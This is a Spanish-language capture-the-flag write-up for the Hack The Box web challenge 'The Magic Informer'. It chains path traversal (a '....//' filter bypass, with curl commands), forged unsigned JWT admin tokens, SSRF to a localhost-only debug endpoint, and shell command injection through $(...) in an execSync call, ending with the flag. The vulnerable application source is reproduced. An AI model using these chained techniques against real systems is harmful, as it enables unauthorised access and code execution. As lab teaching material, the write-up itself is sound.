The Magic Informer
16 minutos de lectura
Tenemos este sitio web:
Esta vez no tenemos el código fuente, por lo que debemos dar vueltas con el sitio web.
Registrando una nueva cuenta
En la parte inferior de la página podemos encontrar un enlace a un formulario de registro:
Entonces nos registramos y luego iniciamos sesión:
Y tenemos acceso a nuestro dashboard:
Navegación de directorios y lectura de archivos locales
Podemos probar inyecciones comunes en la en el formulario anterior. La clave está en la subida de archivos. Usemos Burp Suite para interceptar peticiones y respuestas:
Parece que el archivo cargado se transforma en un documento .docx
. Podemos descargarlo con el enlace que aparece en el sitio web:
Y en Burp Suite podemos ver la petición:
Hay un parámetro resume
. Veamos si podemos descargar el mismo archivo pero añadiendo ./
a la ruta (es decir, desde el mismo directorio):
Y funciona, por lo que el servidor podría ser vulnerable a navevagión de directorios. Veamos qué sucede si solicitamos un archivo que no existe:
El mensaje de error filtra la ruta absoluta donde el servidor está intentando encontrar el archivo. En este punto, podemos intentar subir al directorio raíz y leer /etc/passwd
:
Pero vemos que ../
no es efectivo, la ruta se queda como /app/uploads/etc/passwd
. Esto puede deberse a que el servidor está filtrando ../
, probablemente reemplazando cada coincidencia por una cadena vacía. Podemos evitar este filtro usando ....//
, porque el servidor encontrará la cadena ../
y, al reemplazarla, la ruta resultante será exactamente ../
:
Ahí está. En este punto, podemos enumerar más archivos desde Burp Suite (usando más pestañas del Repeater) o movernos a la consola con curl
:
$ curl '167.99.206.87:30463/download?resume=....//....//etc/hosts' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJpYXQiOjE2NzAyMDQ1MDN9.SvYFO9b3ya7Gc0cWOFiKqM_sXOd-avH5bTf1d1kfss8'
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.244.9.165 ng-themagicinformer-2qvlt-655f685c7d-9gm59
Podemos definir una función de shell para trabajar más cómodamente:
$ function read_file() { curl "167.99.206.87:30463/download?resume=....//..../$1" -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJpYXQiOjE2NzAyMDQ1MDN9.SvYFO9b3ya7Gc0cWOFiKqM_sXOd-avH5bTf1d1kfss8' }
$ read_file /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.244.9.165 ng-themagicinformer-2qvlt-655f685c7d-9gm59
Análisis de código estático
Sabemos que el servidor web está utilizando Express JS en Node.js debido a la cabecera X-Powered-by
. Por lo tanto, podemos intuir que el script principal es index.js
(si no, podría ser app.js
, server.js
, main.js
…):
$ read_file /app/index.js
import * as dotenv from 'dotenv';
import cookieParser from "cookie-parser";
import path from "path";
import express from "express";
import nunjucks from "nunjucks";
import fileUpload from "express-fileupload";
import * as router from "./routes/index.js";
import { Database } from "./database.js";
dotenv.config({path: '/app/debug.env'});
const app = express();
const db = new Database('admin.db');
app.use(express.json());
app.use(cookieParser());
app.use(
fileUpload({
limits: {
fileSize: 2 * 1024 * 1024 // 2 MB
},
abortOnLimit: true
})
);
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.disable('etag');
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.use(router.default(db));
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
(async () => {
await db.connect();
await db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
Desde este script, podemos ver otros nombres de archivos como una base de datos SQLite3 (admin.db
) o un archivo de configuración en /app/debug.env
:
$ read_file /app/debug.env
DEBUG_PASS=CzliwZJkV60hpPJ
Luego, podemos leer la implementación del acceso a base de datos (database.js
) y las rutas disponibles (routes/index.js
).
Implementación de la base de datos
Este es el script database.js
:
$ read_file /app/database.js
import { Database as sqlite } from 'sqlite-async';
import crypto from "crypto";
const md5 = data => crypto.createHash('md5').update(data).digest("hex");
export class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let password = md5(crypto.randomBytes(16).toString('hex'));
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL,
verified BOOLEAN NOT NULL DEFAULT false
);
INSERT INTO users (username, password, verified) VALUES ('admin', '${password}', true);
DROP TABLE IF EXISTS enrollments;
CREATE TABLE IF NOT EXISTS enrollments (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
full_name VARCHAR(255) NULL,
phone VARCHAR(255) NULL,
birth_date VARCHAR(255) NULL,
gender VARCHAR(255) NULL,
biography TEXT NULL,
resume_file VARCHAR(256) NULL
);
DROP TABLE IF EXISTS settings;
CREATE TABLE settings(
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
config_key VARCHAR(2) NOT NULL,
config_val NUMERIC(9,6) NOT NULL
);
INSERT INTO settings (config_key, config_val)
VALUES
('sms_verb', 'POST'),
('sms_url', 'https://platform.clickatell.com/messages'),
('sms_params', '{"apiKey" : "xxxx", "toNumber": "recipient", "text": "message"}'),
('sms_headers', 'Content-Type: application/json\nAuthorization: Basic YWRtaW46YWRtaW4='),
('sms_resp_ok', '<status>ok</status>'),
('sms_resp_bad', '<status>error</status>');
`);
}
async registerUser(username, password) {
return new Promise(async (resolve, reject) => {
try {
let register_sql = await this.db.prepare('INSERT INTO users (username, password) VALUES ( ?, ?)');
let enrollment_sql = await this.db.prepare('INSERT INTO enrollments (username) VALUES (?)');
await register_sql.run(username, md5(password));
await enrollment_sql.run(username);
resolve();
} catch(e) {
reject(e);
}
});
}
async loginUser(username, password) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
resolve(await stmt.get(username, md5(password)));
} catch(e) {
reject(e);
}
});
}
async getUser(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM users WHERE username = ?');
resolve(await stmt.get(username));
} catch(e) {
reject(e);
}
});
}
async checkUser(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ?');
let row = await stmt.get(username);
resolve(row !== undefined);
} catch(e) {
reject(e);
}
});
}
async getFormData(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM enrollments WHERE username = ?');
resolve(await stmt.get(username));
} catch(e) {
reject(e);
}
});
}
async updateEnrollment(full_name, phone, birth_date, gender, biography, username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare(`
UPDATE enrollments
SET
full_name = ?,
phone = ?,
birth_date = ?,
gender = ?,
biography = ?
WHERE username = ?
`);
resolve((await stmt.run(full_name, phone, birth_date, gender, biography, username)));
} catch(e) {
reject(e);
}
});
}
async setResume(filename, username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE enrollments SET resume_file = ? WHERE username = ?');
resolve((await stmt.run(filename, username)));
} catch(e) {
reject(e);
}
});
}
async saveSMSConfig(verb, url, params, headers, resp_ok, resp_bad) {
return new Promise(async (resolve, reject) => {
const smsConfig = {
'sms_verb': verb,
'sms_url': url,
'sms_params': params,
'sms_headers': headers,
'sms_resp_ok': resp_ok,
'sms_resp_bad': resp_bad
}
for(const [col_name, col_data] of Object.entries(smsConfig)) {
try {
let stmt = await this.db.prepare('UPDATE settings SET config_val = ? WHERE config_key = ?');
await stmt.run(col_data, col_name)
} catch(e) {
reject(e);
}
}
resolve(true);
});
}
}
Todo parece correcto ya que las consultas están utilizando sentencias preparadas (prepared statements), por lo que la inyección SQL no es posible.
Además, la contraseña para admin
es aleatoria se usa MD5 para crear un hash. Entonces, incluso si descargamos el archivo admin.db
y extraemos el hash, no podremos descifrarlo porque la contraseña es aleatoria.
Rutas disponibles
Hay un montón de endpoints configurados en routes/index.js
:
$ read_file /app/routes/index.js
import path from 'path';
import * as fs from 'fs';
import axios from 'axios';
import { Router } from 'express';
import { sign } from '../helpers/JWTHelper.js';
import { AuthMiddleware } from '../middleware/AuthMiddleware.js';
import { AdminMiddleware } from '../middleware/AdminMiddleware.js';
import { LocalMiddleware } from '../middleware/LocalMiddleware.js';
import { execSync } from 'child_process';
let db;
const router = Router();
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.get('/register', (req, res) => {
return res.render('register.html');
});
router.get('/login', (req, res) => {
return res.render('login.html');
});
router.post('/api/register', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.getUser(username)
.then(user => {
if (user) return res.status(401).send(response('This username is already registered!'));
return db.registerUser(username, password)
.then(() => res.send(response('Account registered successfully!')))
})
.catch(() => res.status(500).send(response('Something went wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.post('/api/login', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.loginUser(username, password)
.then(user => {
let token = sign({ username: user.username });
res.cookie('session', token, { maxAge: 3600000 });
return res.send(response('User authenticated successfully!'));
})
.catch(() => res.status(403).send(response('Invalid username or password!')));
}
return res.status(500).send(response('Missing parameters!'));
});
router.get('/dashboard', AuthMiddleware, async (req, res) => {
if (req.user.username === 'admin') return res.redirect('/admin');
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
return db.getFormData(user.username)
.then(enrollment => {
res.render('dashboard.html', { user, enrollment });
});
})
.catch(e => {
return res.redirect('/login');
})
});
router.post('/api/enroll', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
const {full_name, phone, birth_date, gender, biography} = req.body;
return db.updateEnrollment(
full_name,
phone,
birth_date,
gender,
biography ,user.username
)
.then(() => res.send(response('Your information is saved successfully!')))
.catch((e) => res.status(401).send(response('Something went wrong!')));
})
.catch(e => {
return res.redirect('/login');
})
});
router.post('/api/upload', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(async user => {
if (!user) return res.redirect('/login');
if (!req.files || !req.files.resumeFile) {
return res.status(400).send(response('No files were uploaded.'));
}
let enrollment = await db.getFormData(user.username);
let resumeFile = req.files.resumeFile;
let uploadFile = `${resumeFile.md5}.docx`;
resumeFile.mv(path.join('/app/uploads', uploadFile), (err) => {
if (err) return res.status(500).send(response('Something went wrong!'));
});
if(enrollment.resume_file && enrollment.resume_file !== uploadFile){
try {
fs.unlinkSync(path.join('/app/uploads', enrollment.resume_file));
}
catch (e) { console.log(e) }
}
return db.setResume(uploadFile,user.username)
.then(() =>{
res.send({
'message': 'Resume file uploaded successfully!',
'filename': uploadFile
});
})
.catch(() => res.status(500).send(response('Something went wrong!')));
})
.catch(e => {
return res.redirect('/login');
})
});
router.get('/download', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
let { resume } = req.query;
resume = resume.replaceAll('../', '');
return res.download(path.join('/app/uploads', resume));
})
.catch(e => {
return res.redirect('/login');
})
});
router.get('/admin', AdminMiddleware, async (req, res) => {
return res.render('admin.html', { user: req.user });
});
router.get('/sms-settings', AdminMiddleware, async (req, res) => {
return res.render('sms-settings.html', { user: req.user });
});
router.post('/api/sms/save', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
return db.saveSMSConfig(verb, url, params, headers, resp_ok, resp_bad)
.then(() => {
return res.send(response('SMS settings saved successfully!'));
})
.catch((e) => {
return res.status(500).send(response('Something went wrong!'));
});
});
router.post('/api/sms/test', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
let parsedHeaders = {};
try {
let headersArray = headers.split('\n');
for(let header of headersArray) {
if(header.includes(':')) {
let hkey = header.split(':')[0].trim()
let hval = header.split(':')[1].trim()
parsedHeaders[hkey] = hval;
}
}
}
catch (e) { console.log(e) }
let options = {
method: verb.toLowerCase(),
url: url,
timeout: 5000,
headers: parsedHeaders
};
if (verb === 'POST') options.data = params;
axios(options)
.then(response => {
if (typeof(response.data) == 'object') {
response.data = JSON.stringify(response.data);
}
return res.json({status: 'success', result: response.data})
})
.catch(e => {
if (e.response) {
if (typeof(e.response.data) == 'object') {
e.response.data = JSON.stringify(e.response.data);
}
return res.json({status: 'fail', result: e.response.data})
}
else {
return res.json({status: 'fail', result: 'Address is unreachable'});
}
})
});
router.get('/sql-prompt', AdminMiddleware, async (req, res) => {
return res.render('sql-prompt.html', { user: req.user });
});
router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, async (req, res) => {
const { sql, password } = req.body;
if (sql && password === process.env.DEBUG_PASS) {
try {
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
return res.json({sql, output: cmdExec.toString()});
}
catch (e) {
let output = e.toString();
if (e.stderr) output = e.stderr.toString();
return res.json({sql, output});
}
}
return res.status(500).send(response('Invalid debug password supplied!'));
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
export default database => {
db = database;
return router;
};
Algunas de las rutas están protegidas con Authmiddleware
, que básicamente verifica que tenemos un token JWT válido en una cookie llamada session
:
$ read_file /app/middleware/AuthMiddleware.js
import { decode } from "../helpers/JWTHelper.js";
const AuthMiddleware = async (req, res, next) => {
try{
if (req.cookies.session === undefined) {
if(!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return decode(req.cookies.session)
.then(user => {
req.user = user;
return next();
})
.catch((e) => {
console.log(e);
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
export { AuthMiddleware };
Hay otras rutas que están protegidas con AdminMiddleware
, que es lo mismo que Authmiddleware
pero además verifica que nuestro usuario es admin
:
$ read_file /app/middleware/AdminMiddleware.js
import { decode } from "../helpers/JWTHelper.js";
const AdminMiddleware = async (req, res, next) => {
try{
if (req.cookies.session === undefined) {
if(!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return decode(req.cookies.session)
.then(user => {
req.user = user;
if (req.user.username !== 'admin') return res.redirect('/dashboard');
return next();
})
.catch(() => {
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
export { AdminMiddleware };
Estos dos middlewares usan helper/JWTHelper.js
:
$ read_file /app/helpers/JWTHelper.js
import jwt from "jsonwebtoken";
import crypto from "crypto";
const APP_SECRET = crypto.randomBytes(69).toString('hex');
const sign = (data) => {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
}
const decode = async(token) => {
return (jwt.decode(token));
}
export { sign, decode };
Aquí tenemos una vulnerabilidad, ya que jwt.decode
solo decodificará el contenido del token, no verificará que la firma es válida (eso habría sido con jwt.verify
).
Efectuando el ataque
Un JWT (JSON Web Token) es una forma de codificar datos en formato JSON en Base64 y firmarlo para que la integridad del contenido esté protegida. En jwt.io podemos pegar nuestro token y ver qué información contiene:
Convirtiéndonos en admin
La parte morada es el contenido, que es el valor devuelto de jwt.decode
. Si modificamos nuestro nombre de usuario para que sea admin
, el JWT se corrompe porque la firma no coincidirá. Sin embargo, el servidor no valida la firma:
Entonces, si establecemos este nuevo token JWT como cookie y actualizamos la página, estaremos como admin
(esto se conoce como Broken Access Control):
Más análisis de código fuente
En este punto, tenemos acceso a endpoints protegidos con AdminMiddleware
. Por ejemplo, podemos usar /api/sms/test
y /debug/sql/exec
(entre otros). Este último es accesible desde /sql-prompt
:
Pero dice que solo se permite para localhost
. De hecho, /debug/sql/exec
está protegido con LocalMiddleware
:
$ read_file /app/middleware/LocalMiddleware.js
const LocalMiddleware = async (req, res, next) => {
if (req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') {
return next();
}
return res.status(401).json({ message: 'Blocked: This endpoint is whitelisted to localhost only.' });
}
export { LocalMiddleware };
Entonces, /debug/sql/exec
debe ser accedido desde localhost
. Si inspeccionamos las dependencias del proyecto Node.js, podemos encontrar axios
, que es un módulo para realizar peticiones web:
$ read_file /app/package.json
{
"name": "magic_informer",
"version": "1.0.0",
"description": "",
"main": "index.js",
"type": "module",
"scripts": {
"start": "node index.js",
"dev": "nodemon -e js,css,html"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"axios": "1.2.0",
"cookie-parser": "1.4.6",
"dotenv": "^16.0.3",
"express": "4.18.2",
"express-fileupload": "1.4.0",
"jsonwebtoken": "8.5.1",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.5"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
De hecho, axios
se usa en /api/sms/test
:
router.post('/api/sms/test', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
let parsedHeaders = {};
try {
let headersArray = headers.split('\n');
for(let header of headersArray) {
if(header.includes(':')) {
let hkey = header.split(':')[0].trim()
let hval = header.split(':')[1].trim()
parsedHeaders[hkey] = hval;
}
}
}
catch (e) { console.log(e) }
let options = {
method: verb.toLowerCase(),
url: url,
timeout: 5000,
headers: parsedHeaders
};
if (verb === 'POST') options.data = params;
axios(options)
.then(response => {
if (typeof(response.data) == 'object') {
response.data = JSON.stringify(response.data);
}
return res.json({status: 'success', result: response.data})
})
.catch(e => {
if (e.response) {
if (typeof(e.response.data) == 'object') {
e.response.data = JSON.stringify(e.response.data);
}
return res.json({status: 'fail', result: e.response.data})
}
else {
return res.json({status: 'fail', result: 'Address is unreachable'});
}
})
});
Nuevamente, podemos echar un vistazo al sitio web en /sms-settings
:
Ataque de SSRF
Aquí podemos decirle a axios
que realice la petición a http://127.0.0.1:1337/debug/sql/exec
, agregando el token JWT para admin
, de modo que pase LocalMiddleware
y AdminMiddleware
. Este es un ataque de Server-Side Request Forgery (SSRF):
Hay un campo password
que debe ser el valor de DEBUG_PASS
en /app/debug.env
. Se verifica en el controlador de /debug/sql/exec
:
router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, async (req, res) => {
const { sql, password } = req.body;
if (sql && password === process.env.DEBUG_PASS) {
try {
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
return res.json({sql, output: cmdExec.toString()});
}
catch (e) {
let output = e.toString();
if (e.stderr) output = e.stderr.toString();
return res.json({sql, output});
}
}
return res.status(500).send(response('Invalid debug password supplied!'));
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
Inyección de comandos
Obsérvese que el campo sql
se usa para crear un comando que se ejecutará con execSync
:
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
Existe un filtrado mínimo: todas las comillas dobles serán reemplazadas por comillas simples. Esto nos impide poner una comilla doble y agregar otro comando. Algo como esto:
$ node
Welcome to Node.js v19.2.0.
Type ".help" for more information.
> let sql = 'select * from users;"; whoami #'
undefined
> let cmdStr = `sqlite3 -csv admin.db "${sql}"`
undefined
> const { execSync } = require('child_process')
undefined
> execSync(cmdStr).toString()
Error: in prepare, file is not a database (26)
'rocky\n'
Sin embargo, no podemos usar comillas dobles. Debemos encontrar otra forma de inyectar comandos. Dado que el campo safeSql
está envuelto de comillas dobles, podemos usar la interpolación variables en Bash y, por lo tanto, ejecutar comandos usando `comando`
o $(comando)
:
> sql = 'select * from users; `whoami`'
'select * from users; `whoami`'
> let safeSql = String(sql).replaceAll(/"/ig, "'");
undefined
> cmdStr = `echo "${safeSql}"`
'echo "select * from users; `whoami`"'
> execSync(cmdStr).toString()
'select * from users; rocky\n'
>
> sql = 'select * from users; $(whoami)'
'select * from users; $(whoami)'
> safeSql = String(sql).replaceAll(/"/ig, "'");
'select * from users; $(whoami)'
> cmdStr = `echo "${safeSql}"`
'echo "select * from users; $(whoami)"'
> execSync(cmdStr).toString()
'select * from users; rocky\n'
Entonces, hagámoslo en el sitio web:
Vemos un mensaje de error, pero nótese que node
es el nombre del usuario a nivel de sistema. Aquí, si intentamos hacer ls -l
, solo veremos una sola palabra total
. Esto significa que el mensaje de error está tomando una sola palabra, por lo que debemos usar un truco para ver la salida completa como una sola palabra. Por ejemplo, podemos pasar la salida a base64 -w0
, de modo que la salida esté codificada por Base64 e impresa como una sola cadena sin espacios o saltos de línea:
Ahora podemos tomar la salida y decodificarla:
$ echo dG90YWwgODgKZHJ3eHIteHIteCAgICAxIG5vZGUgICAgIG5vZGUgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NTIgYXBwCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgSnVuICA2IDE5OjIxIGJpbgpkcnd4ci14ci14ICAgIDUgcm9vdCAgICAgcm9vdCAgICAgICAgICAgMzYwIERlYyAgNSAwMTo0MCBkZXYKZHJ3eHIteHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NDAgZXRjCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgSnVuICA2IDE5OjIxIGhvbWUKZHJ3eHIteHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBKdW4gIDYgMTk6MjEgbGliCmRyd3hyLXhyLXggICAgNSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIG1lZGlhCmRyd3hyLXhyLXggICAgMiByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIG1udApkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEp1biAgNiAxOToyMSBvcHQKZHIteHIteHIteCAgMjYxIHJvb3QgICAgIHJvb3QgICAgICAgICAgICAgMCBEZWMgIDUgMDE6NDAgcHJvYwotcndzci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgIDE4Nzg0IE5vdiAzMCAxNjo0MiByZWFkZmxhZwpkcnd4LS0tLS0tICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgMSAyMDoyMCByb290CmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgRGVjICA1IDAxOjQwIHJ1bgpkcnd4ci14ci14ICAgIDIgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEFwciAgNCAgMjAyMiBzYmluCmRyd3hyLXhyLXggICAgMiByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIHNydgpkci14ci14ci14ICAgMTMgcm9vdCAgICAgcm9vdCAgICAgICAgICAgICAwIERlYyAgNSAwMTo0MCBzeXMKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NDAgdG1wCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgTm92IDMwIDE2OjQyIHVzcgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEFwciAgNCAgMjAyMiB2YXIK | base64 -d
total 88
drwxr-xr-x 1 node node 4096 Dec 5 01:52 app
drwxr-xr-x 1 root root 4096 Jun 6 19:21 bin
drwxr-xr-x 5 root root 360 Dec 5 01:40 dev
drwxr-xr-x 1 root root 4096 Dec 5 01:40 etc
drwxr-xr-x 1 root root 4096 Jun 6 19:21 home
drwxr-xr-x 1 root root 4096 Jun 6 19:21 lib
drwxr-xr-x 5 root root 4096 Apr 4 2022 media
drwxr-xr-x 2 root root 4096 Apr 4 2022 mnt
drwxr-xr-x 1 root root 4096 Jun 6 19:21 opt
dr-xr-xr-x 261 root root 0 Dec 5 01:40 proc
-rwsr-xr-x 1 root root 18784 Nov 30 16:42 readflag
drwx------ 1 root root 4096 Dec 1 20:20 root
drwxr-xr-x 1 root root 4096 Dec 5 01:40 run
drwxr-xr-x 2 root root 4096 Apr 4 2022 sbin
drwxr-xr-x 2 root root 4096 Apr 4 2022 srv
dr-xr-xr-x 13 root root 0 Dec 5 01:40 sys
drwxrwxrwt 1 root root 4096 Dec 5 01:40 tmp
drwxr-xr-x 1 root root 4096 Nov 30 16:42 usr
drwxr-xr-x 1 root root 4096 Apr 4 2022 var
Lo anterior es el resultado de ls -l /
. Aquí vemos un archivo ejecutable llamado readflag
, así que vamos a ejecutarlo y a obtener la salida en Base64:
Flag
Esta vez, los datos no se decodifican bien por alguna razón. En este punto, podemos ir a CyberChef y decodificarlo ahí:
El problema era que a la cadena codificada le falta un signo =
de relleno al final:
$ echo SFRCe2JyMGszbl80dTdoXzU1UkZfNHNfNF9zM3J2MWMzX2QzYnVnX2Z0d30= | base64 -d
HTB{br0k3n_4u7h_55RF_4s_4_s3rv1c3_d3bug_ftw}